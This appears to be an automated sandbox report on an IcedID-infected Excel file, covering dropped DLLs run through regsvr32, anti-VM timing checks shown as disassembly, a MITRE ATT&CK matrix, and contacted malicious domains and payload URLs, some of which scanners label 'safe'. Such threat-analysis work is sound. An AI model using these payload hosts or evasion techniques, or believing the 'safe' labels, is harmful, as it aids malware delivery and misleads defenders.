Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\XZIBIT.dll	Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\lsdfik[1].fml	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\lsdfik[1].fml	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\lsdfik[1].fml	Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\XTOWN.dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\XRAY.dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\XZIBIT.dll	Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Show sources

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00311E50	3_2_00311E50
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_001B1E50	4_2_001B1E50
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00171E50	5_2_00171E50

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Windows\System32\regsvr32.exe	RDTSC instruction interceptor: First address: 0000000000311E71 second address: 0000000000311E96 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 or eax, edx 0x00000009 dec esp 0x0000000a mov eax, eax 0x0000000c xor ecx, ecx 0x0000000e mov eax, 00000001h 0x00000013 cpuid 0x00000015 mov dword ptr [esp+20h], eax 0x00000019 mov dword ptr [esp+24h], ebx 0x0000001d mov dword ptr [esp+28h], ecx 0x00000021 mov dword ptr [esp+2Ch], edx 0x00000025 rdtsc
Source: C:\Windows\System32\regsvr32.exe	RDTSC instruction interceptor: First address: 0000000000311EAB second address: 0000000000311EB8 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 nop 0x00000007 dec eax 0x00000008 or eax, edx 0x0000000a dec eax 0x0000000b mov ecx, eax 0x0000000d rdtsc
Source: C:\Windows\System32\regsvr32.exe	RDTSC instruction interceptor: First address: 00000000001B1E71 second address: 00000000001B1E96 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 or eax, edx 0x00000009 dec esp 0x0000000a mov eax, eax 0x0000000c xor ecx, ecx 0x0000000e mov eax, 00000001h 0x00000013 cpuid 0x00000015 mov dword ptr [esp+20h], eax 0x00000019 mov dword ptr [esp+24h], ebx 0x0000001d mov dword ptr [esp+28h], ecx 0x00000021 mov dword ptr [esp+2Ch], edx 0x00000025 rdtsc
Source: C:\Windows\System32\regsvr32.exe	RDTSC instruction interceptor: First address: 00000000001B1EAB second address: 00000000001B1EB8 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 nop 0x00000007 dec eax 0x00000008 or eax, edx 0x0000000a dec eax 0x0000000b mov ecx, eax 0x0000000d rdtsc
Source: C:\Windows\System32\regsvr32.exe	RDTSC instruction interceptor: First address: 0000000000171E71 second address: 0000000000171E96 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 or eax, edx 0x00000009 dec esp 0x0000000a mov eax, eax 0x0000000c xor ecx, ecx 0x0000000e mov eax, 00000001h 0x00000013 cpuid 0x00000015 mov dword ptr [esp+20h], eax 0x00000019 mov dword ptr [esp+24h], ebx 0x0000001d mov dword ptr [esp+28h], ecx 0x00000021 mov dword ptr [esp+2Ch], edx 0x00000025 rdtsc
Source: C:\Windows\System32\regsvr32.exe	RDTSC instruction interceptor: First address: 0000000000171EAB second address: 0000000000171EB8 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 nop 0x00000007 dec eax 0x00000008 or eax, edx 0x0000000a dec eax 0x0000000b mov ecx, eax 0x0000000d rdtsc

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_00312434 rdtsc

3_2_00312434

Source: C:\Windows\System32\regsvr32.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,	3_2_003127BC
Source: C:\Windows\System32\regsvr32.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,	4_2_001B27BC
Source: C:\Windows\System32\regsvr32.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,	5_2_001727BC

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\lsdfik[1].fml	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\lsdfik[1].fml	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\lsdfik[1].fml	Jump to dropped file

Source: regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	Binary or memory string: <a href="/rds/vmware/?hp=tile&so-exp=below"> <i></i> <span>Amazon RDS on VMware</span> <cite>Automate on-premises database management</cite> </a>
Source: regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	Binary or memory string: <a href="/vmware/?hp=tile&so-exp=below"> <i></i> <span>VMware Cloud on AWS</span> <cite>Build a hybrid cloud without custom hardware</cite> </a>
Source: regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	Binary or memory string: <img src="//d1.awsstatic.com/Compute/VMware-Cloud-on-AWS_Icon_64_Squid.b126bc9cff89e6c44c4f5b9775521edd6743c2b8.png" alt="VMware-Cloud-on-AWS_Icon_64_Squid" title="VMware-Cloud-on-AWS_Icon_64_Squid" class="cq-dd-image" />
Source: regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	Binary or memory string: Migrate and extend VMware environments to the AWS Cloud
Source: regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	Binary or memory string: <a style="padding-left:20px; padding-bottom:0px; padding-right:45px;" href="/vmware/?hp=tile&tile=hybridsol" target="_blank" rel="noopener">
Source: regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	Binary or memory string: </figure> <h3 id="VMware_Cloud_on_AWS" class="lb-tiny-align-center lb-txt-none lb-h3 lb-title"> VMware Cloud on AWS</h3>
Source: regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	Binary or memory string: <a style="padding-left:30px; padding-bottom:0px; padding-right:30px;" href="/vmware/?hp=tile&tile=hybridsol" target="_blank" rel="noopener">
Source: regsvr32.exe, 00000003.00000003.2099287242.00000000034A7000.00000004.00000001.sdmp	Binary or memory string: lign-center lb-txt-none lb-h3 lb-title"> VMware Cloud on AWS</h3>
Source: regsvr32.exe, 00000003.00000003.2099303161.0000000003477000.00000004.00000001.sdmp	Binary or memory string: </figure> <h3 id="VMware_Cloud_on_AWS" class="lb-tiny-a

Source: C:\Windows\System32\regsvr32.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_00312434 rdtsc

3_2_00312434

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\System32\regsvr32.exe	Network Connect: 13.225.75.73 187	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 104.21.37.209 80	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Domain query: astrocycle.download
Source: C:\Windows\System32\regsvr32.exe	Domain query: aws.amazon.com
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 172.67.213.115 80	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_003122DC LookupAccountNameW,

3_2_003122DC

Stealing of Sensitive Information:

Yara detected IcedID

Show sources

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2102293424.000000000029D000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2118144160.00000000003D6000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2105528596.0000000003476000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 2360, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 2212, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 2536, type: MEMORY

Remote Access Functionality:

Yara detected IcedID

Show sources

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2102293424.000000000029D000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2118144160.00000000003D6000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2105528596.0000000003476000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 2360, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 2212, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 2536, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Exploitation for Client Execution43	Path Interception	Process Injection11	Masquerading121	OS Credential Dumping	Security Software Discovery211	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	Process Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer14	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection11	Security Account Manager	Account Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Regsvr321	NTDS	System Owner/User Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol124	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Network Configuration Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	File and Directory Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	System Information Discovery22	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
https://prod-us-west-2.csp-report.marketing.aws.dev/submitx-amz-id-1MTCH1RFF83ZG4C6RP3ABX-Content-Ty	0%	Avira URL Cloud	safe
https://www.honeycode.aws/?&trk=el_a134p000003yC6YAAU&trkCampaign=pac-edm-2020-honeycode-hom	0%	URL Reputation	safe
https://www.honeycode.aws/?&trk=el_a134p000003yC6YAAU&trkCampaign=pac-edm-2020-honeycode-hom	0%	URL Reputation	safe
https://www.honeycode.aws/?&trk=el_a134p000003yC6YAAU&trkCampaign=pac-edm-2020-honeycode-hom	0%	URL Reputation	safe
https://www.buzzsprout.com;	0%	Avira URL Cloud	safe
http://astrocycle.download/	0%	Avira URL Cloud	safe
http://crl.sca1b.amazontrus	0%	URL Reputation	safe
http://crl.sca1b.amazontrus	0%	URL Reputation	safe
http://crl.sca1b.amazontrus	0%	URL Reputation	safe
http://ocsp.sca1b.amazontrust.com06	0%	URL Reputation	safe
http://ocsp.sca1b.amazontrust.com06	0%	URL Reputation	safe
http://ocsp.sca1b.amazontrust.com06	0%	URL Reputation	safe
http://ocsp.rootca1.amazontrust.com0:	0%	Avira URL Cloud	safe
http://crl.rootg2.amazontrust.com/rootg2.crl0	0%	URL Reputation	safe
http://crl.rootg2.amazontrust.com/rootg2.crl0	0%	URL Reputation	safe
http://crl.rootg2.amazontrust.com/rootg2.crl0	0%	URL Reputation	safe
http://uppercilio.fun/div/44376,8555986111.jpg	0%	Avira URL Cloud	safe
https://awspodcastsiberiaent.s3.eu-west-3.amaz	0%	Avira URL Cloud	safe
https://prod-us-west-2.csp-report.marketing.aws.dev/submit	0%	Avira URL Cloud	safe
http://thousandsyears.download/div/44376,8555986111.jpg	0%	Avira URL Cloud	safe
https://amazonwebservices.d2.sc.omtrdc.net	0%	Avira URL Cloud	safe
https://calculator.wsstatic.com	0%	Avira URL Cloud	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
https://112-tzm-766.mktoutil.com	0%	Avira URL Cloud	safe
http://crl.roo	0%	Avira URL Cloud	safe
https://download.stormacq.com/aws/podcast/	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
astrocycle.download	0%	Avira URL Cloud	safe
https://chtbl.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
uppercilio.fun	104.21.55.83	true	false	unknown
thousandsyears.download	172.67.198.51	true	false	unknown
voopeople.fun	172.67.194.117	true	false	unknown
astrocycle.download	172.67.213.115	true	true	unknown
dr49lng3n1n2s.cloudfront.net	13.225.75.73	true	false	high
aws.amazon.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://astrocycle.download/	true	Avira URL Cloud: safe	unknown
http://uppercilio.fun/div/44376,8555986111.jpg	false	Avira URL Cloud: safe	unknown
http://thousandsyears.download/div/44376,8555986111.jpg	false	Avira URL Cloud: safe	unknown
astrocycle.download	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.linkedin.com	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
https://a0.awsstatic.com/libra/1.0.385/directories	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	false		high
https://dc.ads.linkedin.com/collect/?pid=3038&fmt=gif	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	false		high
https://c0.b0.p.awsstatic.com	regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	regsvr32.exe, 00000003.00000003.2099401412.00000000002D4000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://api.regional-table.region-services.aws.a2z.com	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
https://a0.awsstatic.com/libra/1.0.385/librastandardlib	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	false		high
https://prod-us-west-2.csp-report.marketing.aws.dev/submitx-amz-id-1MTCH1RFF83ZG4C6RP3ABX-Content-Ty	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://aws.amazon.com/ar/	regsvr32.exe, 00000003.00000003.2099287242.00000000034A7000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://www.honeycode.aws/?&trk=el_a134p000003yC6YAAU&trkCampaign=pac-edm-2020-honeycode-hom	regsvr32.exe, 00000003.00000003.2099287242.00000000034A7000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://a0.p.awsstatic.com	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/cn/?nc1=h_ls	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://portal.aws.amazon.com/gp/aws/developer/registration/index.html?nc1=f_ct&src=default	regsvr32.exe, 00000003.00000002.2102286256.000000000028E000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/ru/	regsvr32.exe, 00000003.00000003.2099287242.00000000034A7000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://www.buzzsprout.com;	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://fls-na.amazon.com/1/action-impressions/1/OE/aws-mktg/action/awsm_:comp_DeprecatedBrowser	regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://i18n-string.us-west-2.prod.pricing.aws.a2z.com	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/ru/?nc1=h_ls	regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://docs.aws.amazon.com/index.html?nc2=h_ql_doc	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/ar/?nc1=h_ls	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://p.adsymptotic.com	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/th/	regsvr32.exe, 00000003.00000003.2099287242.00000000034A7000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://docs.aws.amazon.com	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
http://www.windows.com/pctv.	regsvr32.exe, 00000003.00000002.2103529559.0000000003080000.00000002.00000001.sdmp	false		high
https://aws.amazon.com/VT	regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp	false		high
https://aws.amazon.com/marketplace/?nc2=h_mo	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://d2a6igt6jhaluh.cloudfront.net	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
http://crl.sca1b.amazontrus	regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://ocsp.sca1b.amazontrust.com06	regsvr32.exe, 00000003.00000003.2099347310.00000000002B6000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://console.aws.amazon.com/support/home/?nc2=h_ql_cu	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://dftu77xade0tc.cloudfront.net	regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/search/	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/?nc2=h_lg	regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	regsvr32.exe, 00000003.00000003.2099347310.00000000002B6000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://console.aws.amazon.com/support/home/?nc1=f_dr	regsvr32.exe, 00000003.00000002.2102286256.000000000028E000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/vi/	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000003.00000003.2099261529.00000000034C3000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
http://crl.rootg2.amazontrust.com/rootg2.crl0	regsvr32.exe, 00000003.00000003.2099347310.00000000002B6000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://aws.amazon.com/tw/	regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
https://aws.amazon.com/tr/?nc1=h_ls	regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	false		high
